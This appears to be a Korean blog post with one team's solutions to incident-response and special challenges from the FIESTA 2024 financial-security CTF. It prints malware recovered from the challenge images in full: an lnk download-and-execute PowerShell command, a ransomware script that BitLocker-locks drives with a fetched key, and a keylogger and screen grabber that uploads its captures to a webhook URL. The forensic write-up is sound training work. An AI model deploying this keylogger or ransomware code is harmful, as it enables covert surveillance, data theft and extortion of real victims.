반응형

올해 금융보안원에서 CTF가 열렸다.

나는 2020년도부터 5회째 참여하고 있다.

작년까지는 우수 풀이 팀의 문제 풀이 보고서가 공개되었었는데, 올해에는 아무 소식이 없어서 블로그에 내가 풀었던 문제의 풀이를 작성해보았다. 침해대응과 특별문제 카테고리 위주로 풀었다. (시나리오 카테고리 등의 다른 문제 풀이는 다른 팀원분들께 문의해보세요..)

금융보안원, 'FIESTA 2024' 성황리 개최...금융권 침해위협 분석 역량 강화, 데일리시큐
https://www.dailysecu.com/news/articleView.html?idxno=161004

 

금융보안원, 'FIESTA 2024' 성황리 개최...금융권 침해위협 분석 역량 강화 - 데일리시큐

금융보안원이 주최한 금융권 사이버 침해위협 분석대회 FIESTA 2024가 금융정보보호 컨퍼런스(FISCON) 2024에서 성공적으로 막을 내렸다. 이번 대회는 금융업계에서 중요시되는 생성형 AI와 공급망,

www.dailysecu.com

 


팀명: 우승시 재입대

팀원: Yrina(팀장), uniguri, jzziqw, M4ndU


침해 대응 1

직원 A씨는 어느 날 PC가 랜섬웨어에 감염된 사실을 알게되었다.
랜섬웨어에 의해 잠긴 파티션 속에는 중요한 대외비 자료가 보관 중이었다.
이에 긴급하게 분석을 맡기게 되었고, 당신은 해당 자료를 무사히 복구해야 하는 상황에 처했다.
문제 :
(1) dll인젝션에 사용된 dll 파일명 (.dll 포함)
(2) 비트라커의 평문키
(3) 암호화된 파티션 내부 설계도면에 적힌 가격
flag 형식 = FIESTA{(1)_(2)_(3)}

(1) dll인젝션에 사용된 dll 파일명 (.dll 포함)

주어진 VM을 실행하면 윈도우 디펜더를 통해 악성코드를 식별할 수 있다

lnk에 포함된 악성 코드를 추출하면 아래와 같다.

C:\Windows\SysWOW64\cmdexe$\\Windows\SysWOW64\cmdexe/c powershell -windowstyle hidden -command "Set-Location -Path 'C:\Users\Public'; Invoke-WebRequest -Uri 'http://10.67.231.33:7777/123pdf' -OutFile 'C:\Users\Public\m?캴???9??클????pdf'; Invoke-WebRequest -Uri 'http://10.67.231.33:7777/1exe' -OutFile 'C:\Users\Public\1exe'; Start-Process -FilePath 'C:\Users\Public\m?캴???9??클????pdf'; Start-Process -FilePath 'C:\Users\Public\1exe'"NC:\Program Files\Adobe\Acrobat DC\Acrobat\CrashReporterResources\AdobeLogoico

악성 코드를 분석하면 http://10.67.231.33:7777/1.exe를 다운로드받아와 실행하며, 해당 파일이 악성파일인 것으로 추정된다.

해당 파일은 C:\Users\Public\1.exe에서 확인할 수 있다. 해당 악성코드의 행위는 Virustotal에서 확인할 수 있다.

https://www.virustotal.com/gui/file/1aff70f10f603b5829f1b7139986d31c89122f5c700896ce2ae18ffd1f97325e/relations

https://github.com/imnothackerkkk/key 에서 악성 파일을 추가로 다운로드 받는다.

https://github.com/imnothackerkkk/key/raw/main/version.dll 을 다운받아온다.

version.dll

 

(2) 비트라커의 평문키

 

wiping.ps1에서는 lock.ps1을 지우는 작업을 수행하는데, lock.ps1이 파일을 비트라커로 암호화하는 작업을 수행하는 것으로 추정된다.

%appdata%/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt를 보면, lock.ps1 실행 기록이 있다.

 

https://github.com/imnothackerkkk/enc 에서 암호화된 lock_encrypted.ps1과 암호화를 수행하는 enc.exe를 확인할 수 있다. README.md에 따르면, xor 기반으로 lock.ps1을 암호화한다고 설명되어 있다.

IDA Pro로 확인한 동작 과정과 동일하다.

0x00으로 채워진 lock.ps1 파일을 하나 만들고 enc.exe를 실행시켜보면, specialllll!!!!!!!로 채워진 lock_encrypted.ps1이 생성된 것을 확인할 수 있다.

암복호화에 사용된 XOR 키는 specialllll!!!!!!!임을 확인하였으므로, lock_encrypted.ps1을 복호화할 수 있다.

복호화된 코드는 아래와 같다.

Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & { $scriptBlock }" -WindowStyle Hidden
Set-ExecutionPolicy Bypass -Scope LocalMachine -Force
$rawUrl = "https://raw.githubusercontent.com/imnothackerkkk/key/main/secret"; 
$fileContent = Invoke-RestMethod -Uri $rawUrl
$volumes = Get-BitLockerVolume
$osVolume = (Get-WmiObject Win32_OperatingSystem).SystemDrive
$key = ConvertTo-SecureString -String $fileContent -AsPlainText -Force
foreach ($volume in $volumes) {
    if ($volume.MountPoint -ne $osVolume) {
        Enable-BitLocker -MountPoint $volume.MountPoint -EncryptionMethod Aes128 -PasswordProtector $key
    Disable-BitLockerAutoUnlock -MountPoint $volume.MountPoint
        Get-BitLockerVolume -MountPoint $volume.MountPoint
    }
}

$Url1 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/ransomnote.jpg"
$Url2 = "https://raw.githubusercontent.com/imnothackerkkk/key/main/readme.txt"
$desktopPath = [System.Environment]::GetFolderPath("Desktop")
$destinationPath1 = Join-Path -Path $desktopPath -ChildPath "note.jpg"
$destinationPath2 = Join-Path -Path $desktopPath -ChildPath "readme.txt"
Invoke-WebRequest -Uri $Url1 -OutFile $destinationPath1
Invoke-WebRequest -Uri $Url2 -OutFile $destinationPath2
$imageFileName = "note.jpg"
$imagePath = Join-Path -Path $desktopPath -ChildPath $imageFileName
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Wallpaper
{
    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
}
"@
$SPI_SETDESKWALLPAPER = 20
$SPIF_UPDATEINIFILE = 0x01
$SPIF_SENDCHANGE = 0x02
[Wallpaper]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $imagePath, $SPIF_UPDATEINIFILE -bor $SPIF_SENDCHANGE)
Restart-Computer -Force

https://raw.githubusercontent.com/imnothackerkkk/key/main/secret을 키로 사용하여 비트락커 잠금을 수행하며, 이후 랜섬노트를 가져오는 과정도 확인할 수 있다.

secret의 내용은 Giveme the100BTC!!!이다.

Giveme the100BTC!!!

 

(3) 암호화된 파티션 내부 설계도면에 적힌 가격

비트락커 잠금 과정 코드를 활용하여 잠긴 비트락커를 해제할 수 있다.

E:\취급주의!!!\[대외비]잠수함설계도면.jpeg에서 잠수함 설계도면을 확인할 수 있었다.

가격은 150000$ 이다.

FIESTA{version.dll_Giveme the100BTC!!!_150000$}

 


침해 대응 2

회사 내부망의 컴퓨터를 원격으로 이용하던 직원이 어느 날 컴퓨터의 속도가 미세하게 느려 졌음을 감지했다. 그는 컴퓨터를 면밀히 조사했으나 아무 이상을 발견하지 못했고, 결국 컴퓨터를 이미징하여 당신에게 분석을 의뢰했다. 분석가인 당신은 이 컴퓨터가 느려진 원인을 파악해야 한다.
문제 :
(1) 키로그와 스크린샷의 저장경로 (ex, [root]/xxx/yyy)
(2) 악성코드가 정보수집용 프로세스를 최초 호출한 시각 UTC+9 (Ex, YYYY-MM-DD-HH:MM:SS)
(3) 악성코드가 정보를 전송하는 주소 
flag 형식 : FIESTA{(1)_(2)_(3)}

(1) 키로그와 스크린샷의 저장경로 (ex, [root]/xxx/yyy)

aaa.vbs, key.ps1, shot.ps1을 다운로드 받은 기록이 있다.

 

파워쉘 실행기록이 남는 [root]/Users/user/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt에 실행 명령 기록이 있다:

function Start-KeyLogger($Path="C:\Users\Public\Music\key.txt") `
{`
  $signatures = @'`
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] `
public static extern short GetAsyncKeyState(int virtualKeyCode); `
[DllImport("user32.dll", CharSet=CharSet.Auto)]`
public static extern int GetKeyboardState(byte[] keystate);`
[DllImport("user32.dll", CharSet=CharSet.Auto)]`
public static extern int MapVirtualKey(uint uCode, int uMapType);`
[DllImport("user32.dll", CharSet=CharSet.Auto)]`
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);`
'@`
`
  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru`
    `
  $null = New-Item -Path $Path -ItemType File -Force`
`
  try`
  {`
    while ($true) {`
      Start-Sleep -Milliseconds 40`
      `
      for ($ascii = 9; $ascii -le 254; $ascii++) {`
        $state = $API::GetAsyncKeyState($ascii)`
`
        if ($state -eq -32767) {`
          $null = [console]::CapsLock`
`
          $virtualKey = $API::MapVirtualKey($ascii, 3)`
`
          $kbstate = New-Object Byte[] 256`
          $checkkbstate = $API::GetKeyboardState($kbstate)`
`
          $mychar = New-Object -TypeName System.Text.StringBuilder`
`
          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)`
`
          if ($success) `
          {`
            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) `
          }`
        }`
      }`
      `
      if ((Get-Date).Second % 30 -eq 0) {`
        $url = "https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952"`
        $content = Get-Content -Path $Path -Raw`
        $body = @{ fileContent = $content }`
        `
        Invoke-RestMethod -Uri $url -Method Post -Body $body`
        Start-Sleep -Seconds 5`
      }`
    }`
  }`
  finally`
  {`
    notepad $Path`
  }`
}`
`
Start-KeyLogger`

Add-Type -AssemblyName System.Windows.Forms,System.Drawing`
`
while ($true) {`
    $screens = [Windows.Forms.Screen]::AllScreens`
    $top    = ($screens.Bounds.Top    | Measure-Object -Minimum).Minimum`
    $left   = ($screens.Bounds.Left   | Measure-Object -Minimum).Minimum`
    $width  = ($screens.Bounds.Right  | Measure-Object -Maximum).Maximum`
    $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum`
`
    $bounds   = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)`
    $bmp      = New-Object System.Drawing.Bitmap ([int]$bounds.width), ([int]$bounds.height)`
    $graphics = [Drawing.Graphics]::FromImage($bmp)`
`
    $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)`
`
    $timestamp = (Get-Date).ToString("yyyyMMdd_HHmmss")`
    $screenshotPath = "C:\Users\Public\Music\screenshot_$timestamp.png"`
`
    $bmp.Save($screenshotPath)`
`
    $url = "https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952"`
`
    $form = New-Object System.Net.WebClient`
    $form.Headers["Content-Type"] = "application/x-www-form-urlencoded"`
`
    try {`
        $form.UploadFile($url, "POST", $screenshotPath)`
    } catch {`
    }`
`
    $graphics.Dispose()`
    $bmp.Dispose()`
`
    Start-Sleep -Seconds 60`
}`

 

키로깅 및 스크린샷 저장이 수행됨을 확인할 수 있다.

저장 경로 C:\Users\Public\Music 및 정보 전송 주소 https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952 를 확인할 수 있다.

[root]/Users/Public/Music에 키로그를 저장하는 파일과 스크린샷 파일이 저장되어 있다.

 

(2) 악성코드가 정보수집용 프로세스를 최초 호출한 시각 UTC+9 (Ex, YYYY-MM-DD-HH:MM:SS)

악성코드는 aaa.vbs로 추정되며, 해당 코드가 실행된 시각은 lnk 파일이 생성된 시각인 2024-08-15-12:22:59이다.

 

(3) 악성코드가 정보를 전송하는 주소

(1) 풀이에서 확인한 주소

https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952

 

FIESTA{[root]/Users/Public/Music_2024-08-15-12:22:59_https://webhook.site/659e1640-7af6-4e0a-a2a4-3608c8feb952}


침해 대응 3

네트워크에서 의심스러운 EXE 파일이 발견되었습니다. 이 파일은 dropper로 의심되며, 여러 악성 파일을 설치하는 역할을 하는 것으로 보입니다. 제공된 악성코드를 분석하여 dropper가 설치하는 파일명을 파악하시오.
정답 : FIESTA{파일명.exe}

Virustotal을 통해 Dropper가 설치하는 파일명을 파악할 수 있다.

dropper가 설치하는 파일명이 플래그이므로 플래그 형식에 맞게 입력하면 된다.

FIESTA{d9a0de9b4accee17a9ba1ef175bd81983729eb82acbf126be39c26eaf08840d0.exe}

반응형

침해 대응 5

문제의 침해 내용을 분석하여 다음의 값을 구하여야 합니다.
(1) 최초 침투를 위해 사용한 악성코드가 실행된 시각은 무엇인가? (UTC+9)(format : yyyy-mm-dd_hh:mm:ss)
(2) 공격자가 RDP를 붙기 위해 추가한 레지스트리 값의 이름은 무엇인가? (format: 대소문자 구별)
(3) 최초 침투 PC에서 다음 PC로 lateral movement에 성공한 시각은 무엇인가? (UTC+9)(format : yyyy-mm-dd_hh:mm:ss)
(4) 공격자가 유출할 때 사용한 파일명은 무엇인가? (format: 대소문자 구별 및 확장자 포함)
(5) 공격자가 최종적으로 유출한 파일명은 무엇인가? (format: 대소문자 구별 및 확장자 포함)
FLAG format: FIESTA{(1)_(2)_(3)_(4)_(5)}

(1) 최초 침투를 위해 사용한 악성코드가 실행된 시각은 무엇인가? (UTC+9)(format : yyyy-mm-dd_hh:mm:ss)

node2의 %appdata%/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt를 보면, wsqmanager.exe, wingtsvcupdt.exe와 같은 프로그램명을 찾을 수 있다.

wingtsvcupdt.exe는 키로거 프로그램으로, 아래 링크 시나리오에서 찾을 수 있다. https://attackevals.mitre-engenuity.org/results/enterprise?vendor=crowdstrike&evaluation=turla&scenario=1

위 보고서에 따르면, 최초 악성코드 파일명은 NTFVersion.exe이다. 해당 프로그램에 대한 실행 기록은 Node 3의 sysmon 이벤트로그에서 확인할 수 있다.

2024-10-03_11:32:11

(2) 공격자가 RDP를 붙기 위해 추가한 레지스트리 값의 이름은 무엇인가? (format: 대소문자 구별)

node3의 sysmon 이벤트 로그를 확인하면, 2024-10-03 11:58:23에 아래와 같은 이벤트가 발생한 것을 확인할 수 있다.

DisableRestrictedAdmin 레지스트리 값의 경우, https://asec.ahnlab.com/ko/39804/를 확인하면, RDP 사용을 위해 제한된 관리모드를 활성화시키는 레지스트리 값인 것을 알 수 있다.

따라서, 공격자가 RDP를 붙기 위해 추가한 레지스트리 값의 이름은 DisableRestrictedAdmin이다.

(3) 최초 침투 PC에서 다음 PC로 lateral movement에 성공한 시각은 무엇인가? (UTC+9)(format : yyyy-mm-dd_hh:mm:ss)

Mitre 보고서에 따르면, 해당 악성 프로그램은 측면 이동을 위한 측면 도구 전송을 수행한다.

NTFS Log Tracker 결과에 따르면, node3에서는 wmimetricsq.exe가 2024-10-03_11:48:31에 생성되고, 2024-10-03_11:48:33에 삭제되었다.

node2에서는 2024-10-03_11:48:32에 생성되었다.

따라서 측면 도구 전송은 2024-10-03_11:48:32에 수행되었다.

다만, 측면 이동에 성공한 시점을 측면 도구 전송 성공이 아닌, 원격 접속이라고 생각한다면,

해당 시간 이후 시점에 원격 접속에 성공한 시점을 확인해야한다.

node2의 Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx에서 2024-10-03_12:06:11 시점에 원격 접속에 성공한 로그 하나를 확인할 수 있다.

2024-10-03_12:06:11

(4) 공격자가 유출할 때 사용한 파일명은 무엇인가? (format: 대소문자 구별 및 확장자 포함)

node1에서 NTFS Log Tracker로 확인하였을 때, Project.zip 파일이 생성된 기록이 있으며, 해당 파일을 유출하였을 가능성이 매우 높다. Project.zip은 project plan_Data.csv 파일이 담긴 Project 폴더를 압축한 것으로 추정된다.

해당 파일이 생성된 시각에 SecEdit.ps1이 실행된 기록이 있다. 해당 스크립트가 파일을 유출하기 위한 악성 스크립트로 의심된다.

SecEdit.ps1

(5) 공격자가 최종적으로 유출한 파일명은 무엇인가? (format: 대소문자 구별 및 확장자 포함)

(4)에서 확인한 Project.zip이 유력하다.

Project.zip

FIESTA{2024-10-03_11:32:11_DisableRestrictedAdmin_2024-10-03_12:06:11_SecEdit.ps1_Project.zip}


특별 문제 3

악성코드의 규칙을 파악했습니다. 다음 조건을 충족 시켜주세요.
http://43.202.176.253:8501/

아래와 같은 YARA Rule이 주어진다:

import "pe"
import "console"
import "math"
import "hash"

rule fiesta_rule {
    strings:
        $fiesta = "fiesta" nocase wide ascii
        $fiesta2 = { 5F [4-] 93 ?? 31 12 [2] ~?1 2? ?0 }
        $fiesta3 = { 68 40 30 00 00 6A 14 8D 91 }
        $fiesta4 = { 90 90 90 90 68 ?? ?? ?? ?? C3 }

    condition:
        uint16(0) == 0x5A4D and
        any of ($fiesta3*) and
        math.entropy(0, filesize) > 6 and
        pe.is_32bit() == 0 and
        pe.version_info["CompanyName"] == "Fiesta" and
        pe.number_of_imported_functions == 62 and
        $fiesta in ((pe.sections[pe.section_index(".fiesta")].raw_data_offset) .. (pe.sections[pe.section_index(".fiesta")].raw_data_offset + pe.sections[pe.section_index(".fiesta")].raw_data_size)) and
        pe.imports("fiesta.dll") == 3 and
        pe.number_of_resources == 1 and
        pe.number_of_sections == 23 and
        $fiesta4 and
        for any section in pe.sections : (
            section.name == ".fiesta" and
            math.deviation(section.raw_data_offset, section.raw_data_size, math.MEAN_BYTES) > 64.8 and
            math.deviation(section.raw_data_offset, section.raw_data_size, math.MEAN_BYTES) < 64.9 and
            $fiesta2 at section.raw_data_offset + 0x2f
        ) or
        hash.md5(0, filesize) == "33baf1c19ca30dac4617dbab5f375efd"
}

주어진 YARA RULE에 맞는 PE 파일을 제출하면 되는 문제다.

조건에 맞는 PE 파일을 새로 만드는 것은 어려우므로 기존 PE 파일을 수정하는 형태로 문제 풀이를 진행했다.

1 단계

Base PE 파일로는 https://github.com/ayaka14732/TinyPE-on-Win10/blob/main/step2/tiny.exe에서 구할 수 있는 매우 작은 64-Bit PE 바이너리를 사용했다.

위 바이너리를 이용해서 다음 2개의 조건을 만족시킬 수 있다:

uint16(0) == 0x5A4D and
pe.is_32bit() == 0 and

2 단계

다음 Resource Hacker를 사용해 Verson Info를 추가하고 CompanyName을 Fiesta로 작성한 뒤, 컴파일하여 적용한다.

이것으로 다음 2개의 조건을 달성할 수 있다:

pe.version_info["CompanyName"] == "Fiesta" and
pe.number_of_resources == 1 and

3 단계

나머지 조건은 lief 파이썬 라이브러리를 사용하여 PE파일을 수정하여 만족시켰다.

lief를 사용하여 조건에 맞는 PE 파일을 만드는 파이썬 코드는 다음과 같다:

import lief

# 기존의 PE 파일 불러오기
binary = lief.parse("tiny.exe")

# 22개의 섹션을 추가해야 하는데 현재 섹션 수 확인
current_section_count = len(binary.sections)
sections_to_add = 19 - current_section_count

if sections_to_add > 0:
    for i in range(sections_to_add):
        # 새 섹션 생성
        new_section = lief.PE.Section(f".newsec{i}")
        new_section.virtual_size = 0x1000
        new_section.size = 0x1000

        # 섹션 특성 설정 (읽기/쓰기 가능)
        new_section.characteristics = 0x40000040  # 읽기/쓰기 가능

        # 새 섹션을 PE 파일에 추가
        binary.add_section(new_section)

    # 수정된 PE 파일 저장
    binary.write("modified_add")

else:
    print(f"이미 {22}개 이상의 섹션이 있습니다.")

print("added sec21")
# 기존의 PE 파일 불러오기
binary = lief.parse("modified_add")

# 1. 고정된 패턴 값 설정 (YARA 패턴에 맞는 값)
fiesta2_pattern = bytes.fromhex('5F A1 B2 C3 D4 93 E5 31 12 F1 F2 F3 21 10')

# 새로운 섹션 생성
new_section = lief.PE.Section(".fiesta")
# 기본 섹션 데이터에 "fiesta" 문자열을 넣고 0x2F까지 패딩
a = 17
b = (0x2F - len(b"fiesta")) - a
new_section.content = list(b"fiesta" + b"\xa0" * a + b"\x26" * b) + list(fiesta2_pattern)

new_section.virtual_size = 0x1000  # 가상 크기 설정
new_section.size = len(new_section.content)  # 실제 데이터 크기 설정

# 섹션 특성 설정 (읽기/쓰기 가능, 초기화된 데이터)
new_section.characteristics = 0x60000020  # 읽기/쓰기가 가능하고, 초기화된 데이터

# 새로운 섹션을 PE 파일에 추가
binary.add_section(new_section)
print("added sec fiesta")

# 1.  fiesta.dll 추가
dummy_import = binary.add_library("fiesta.dll")
for i in range(3):
    dummy_import.add_entry(f"DummyFunction{i+1}")

# 2. 새로운 임포트 테이블로 교체 (기존 임포트를 재구성)


# 3. dummy.dll 추가 및 부족한 함수 채우기
dummy_import = binary.add_library("dummy.dll")

# 임포트 테이블에 함수 추가 (62개를 맞추기 위해 함수 추가)
functions_to_add = 62 - 3

for i in range(functions_to_add):
    dummy_import.add_entry(f"DummyFunction{i+1}")

# 4. 새로운 임포트 섹션으로 재배치 및 최종 반영
builder = lief.PE.Builder(binary)
builder.build_imports(True)  # 임포트 테이블 재구성
builder.build()              # 모든 섹션 빌드

# 3. 임포트 디렉터리 수정 후 저장
binary.write("modified_tiny.exe")

print("임포트 테이블 수정 완료: fiesta.dll에서 3개 함수 추가됨")


# 16진수 데이터를 바이트로 변환
data_to_append = bytes.fromhex('68 40 30 00 00 6A 14 8D 91')

# tiny.exe 파일을 열어서 끝에 데이터를 추가
with open("modified_tiny.exe", "ab") as f:
    f.write(data_to_append)

print("데이터가 tiny.exe 파일 끝에 성공적으로 추가되었습니다.")



# 기존의 16진수 데이터 (와일드카드 부분 제외)
data_to_append = bytes.fromhex('90 90 90 90 68 ee d3 45 16 c3')
full_data = data_to_append

# tiny.exe 파일을 열어서 끝에 데이터를 추가
with open("tiny.exe", "ab") as f:
    f.write(full_data)

print(f"데이터가 tiny.exe 파일 끝에 성공적으로 추가되었습니다. ")

import os
# 100바이트의 무작위 데이터 생성
random_data = os.urandom(100000*2)

# 파일을 바이너리 모드로 열고 끝에 무작위 데이터를 추가
with open("modified_tiny.exe", "ab") as file:
    file.write(random_data)

FIESTA{3308c353120554108987f96d29e0a0fdda0039dca54bfad72bdfc5094765593a}


특별 문제 4

샘플을 분석하여 악성행위를 파악하라.

prob.lnk 파일이 주어지며, 내부에 악성 스크립트를 실행하는 구문이 포함되어 있다.

이를 추출하여 실행되는 코드 구문을 확인하면 아래와 같다:

$RWMabUrB4OVlPPf9G78OpdHgwILDFUS5xrCyxPYPsIrNXDKro2K6tHmfpVjQ5UgSn7wckvFTuryoEno1RF3Cuoz3vD4KtwQM8UszdgyOWY0tumKiJvdT3Rrw1eV15PR1yyFwhxRUsEJBrsN0wz34IuBUvgLOiGCXereByYt7L5IsLaKFy5Kt8M2GP3OIy8H1ofAi3xBhrxsOJw4NtXwapU1YVvUqzw8EbnfJX50MWZ9WmJP7QEdErQXoxRrn8av7Z2inreXEcZb5rRvDnI95DaK09E1xCuZ6WNdDwx5RWEbC7piBMDaTnKCjn0w3y7KCxrbc4HAhccg4KyZzf3By6pQ6mHpQKhsso28nlEsKhAZdNTEL2Vdn7sU9ZlTYfl9onPHwYjXVxAGWv7cC64vvjq83KPg0zrmm2OLW9XluxWNgHwVga3Di497ktnv2SvnCZ9jcjqmm04AspBZqr7xVIDpfwRuZDDVj6KcArpBrBZb720VYGp0cFiYO4sgeXCvAceUwsU0l6lIPcvAW9aYzqEsEWOKBhpMiEkyAUd3ST3ha1z5OkZPS64JYfkJASLUcHAgtuiQNEOrbbH0LnEanzuQkK9Xu2fYF5cR2lP4EBtHZMZDW2qCnkeV2fKlqZIY9M9Do7Ioe0JNgvpWBFM4rbcVlrzdo69BQlADOP3ykwbAel3pZu4x0wTkUYArqV71hPCInVJL4L1cpaaCyBqi1QEQSAoyHO8WNZ0PO5xu8sJzwKCnkncBqc5JW6hNm5Vu2DnPUqJqoyss90t5fKI95FguRUQgtlXBQEOSKusCUnlx0dzZEUb49JRHzRfq7r4s8ZfvSzfpyoDjgoUsvFtLY4REoIJNUtRPPSZHOCfFEC0ceAhfj6nGbJOxaCKZZCvriLmjDDCayaWdtYnuBbmG17kM34fN6nTcpRrlGM7xhEkhFOhEJBO2gZaYHAZEWzpMU3IY04nfpT2zc2IvRyltjW8 = "`Get"

$sCbl8RarjCkvk70Vs69h63l7YAX6mjgM6RzLRvMTpuSkcaCzs3Vd3rHYdjeb4W9S8FInM1eWM5ZzJXZWBEKvwACTnfLuM83ygKhvYqrgciqPmEi90rSAxTMbms860vdbGAVpENbwX4yxYuOia4O9dGETSLzS7ehEvDJKAdE3xDJC4aL9Ev6FtcWWko8pM8YxSrSOJGt48OQUtX2F3TavnFYmdEQFeeHX0d9w5VcLNxHS3wCrcN9C4tdeLXoR376ssjdTY9PsivWVNskvbLSgupq86WCJjNjFE7UmCyF = "Bytes"

$sXL7xTWiQwf0hCId0b2WnN6ZLB0otig3kceQqHkUwn0c6ZVBHYcTn8VJkpLbAmZNEXjfkfTvYwBF30feu1w5fw6OuML5i2S7KI0dEc17CQGN8UcITw3t = ($RWMabUrB4OVlPPf9G78OpdHgwILDFUS5xrCyxPYPsIrNXDKro2K6tHmfpVjQ5UgSn7wckvFTuryoEno1RF3Cuoz3vD4KtwQM8UszdgyOWY0tumKiJvdT3Rrw1eV15PR1yyFwhxRUsEJBrsN0wz34IuBUvgLOiGCXereByYt7L5IsLaKFy5Kt8M2GP3OIy8H1ofAi3xBhrxsOJw4NtXwapU1YVvUqzw8EbnfJX50MWZ9WmJP7QEdErQXoxRrn8av7Z2inreXEcZb5rRvDnI95DaK09E1xCuZ6WNdDwx5RWEbC7piBMDaTnKCjn0w3y7KCxrbc4HAhccg4KyZzf3By6pQ6mHpQKhsso28nlEsKhAZdNTEL2Vdn7sU9ZlTYfl9onPHwYjXVxAGWv7cC64vvjq83KPg0zrmm2OLW9XluxWNgHwVga3Di497ktnv2SvnCZ9jcjqmm04AspBZqr7xVIDpfwRuZDDVj6KcArpBrBZb720VYGp0cFiYO4sgeXCvAceUwsU0l6lIPcvAW9aYzqEsEWOKBhpMiEkyAUd3ST3ha1z5OkZPS64JYfkJASLUcHAgtuiQNEOrbbH0LnEanzuQkK9Xu2fYF5cR2lP4EBtHZMZDW2qCnkeV2fKlqZIY9M9Do7Ioe0JNgvpWBFM4rbcVlrzdo69BQlADOP3ykwbAel3pZu4x0wTkUYArqV71hPCInVJL4L1cpaaCyBqi1QEQSAoyHO8WNZ0PO5xu8sJzwKCnkncBqc5JW6hNm5Vu2DnPUqJqoyss90t5fKI95FguRUQgtlXBQEOSKusCUnlx0dzZEUb49JRHzRfq7r4s8ZfvSzfpyoDjgoUsvFtLY4REoIJNUtRPPSZHOCfFEC0ceAhfj6nGbJOxaCKZZCvriLmjDDCayaWdtYnuBbmG17kM34fN6nTcpRrlGM7xhEkhFOhEJBO2gZaYHAZEWzpMU3IY04nfpT2zc2IvRyltjW8 + $sCbl8RarjCkvk70Vs69h63l7YAX6mjgM6RzLRvMTpuSkcaCzs3Vd3rHYdjeb4W9S8FInM1eWM5ZzJXZWBEKvwACTnfLuM83ygKhvYqrgciqPmEi90rSAxTMbms860vdbGAVpENbwX4yxYuOia4O9dGETSLzS7ehEvDJKAdE3xDJC4aL9Ev6FtcWWko8pM8YxSrSOJGt48OQUtX2F3TavnFYmdEQFeeHX0d9w5VcLNxHS3wCrcN9C4tdeLXoR376ssjdTY9PsivWVNskvbLSgupq86WCJjNjFE7UmCyF)
if (Test-Path Env:\heheFlag) {
    Write-Host "Yep!"
} else {
    $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx = Join-Path $env:temp 'Fail.txt'
    "Fail" | Out-File -FilePath $e1Iulngzm3NJYjSpqMdQc9OoOM0eHMVXZUQeRdzmJHpH72DkXjyxTrYLVEswS7EfiYQkKcrObumOBaRWX74y3dWAmzW7owGM4oYn3DFtBxLWOz3VC8yztGgHEgxCrffAHXSxvXQ1RC7VyBbi6dNnC3nc0S7KbXI0b4fWUvNRejMF9L5fe7fudofbkTcD05fDFhOCv9QuqvkLWkncA1sOz1k12WsJ6Algj0n5fqjnz4Ao4wr1pTEWowjaKVdDEPu2eIolPVbOIbokEpy5ae3U4LIoZezeHlkSlH0XWDibWUcrtPnuE7maNLFyvq7rwCSW31ypLhKPdTCILxC0A9CCP15NwwyY0bCR0wdtN5Y0R8FvEFuLDKcM62oNZf6Ake7WiKWYcT7rHPa4ACj8CGTG5fSEjeuZHCqGdKYByDXcNRs9rfLvBJOTxxwInqFLxoZEQ7y8gnxwqLPlzHlS7uMJQRxj45wtolb5ykZlSESMJhm3XjX0vFOzeSkurERQOlhvrrbScGatDcmThgSGjo39BIpMKyx -Encoding ascii
    exit
}
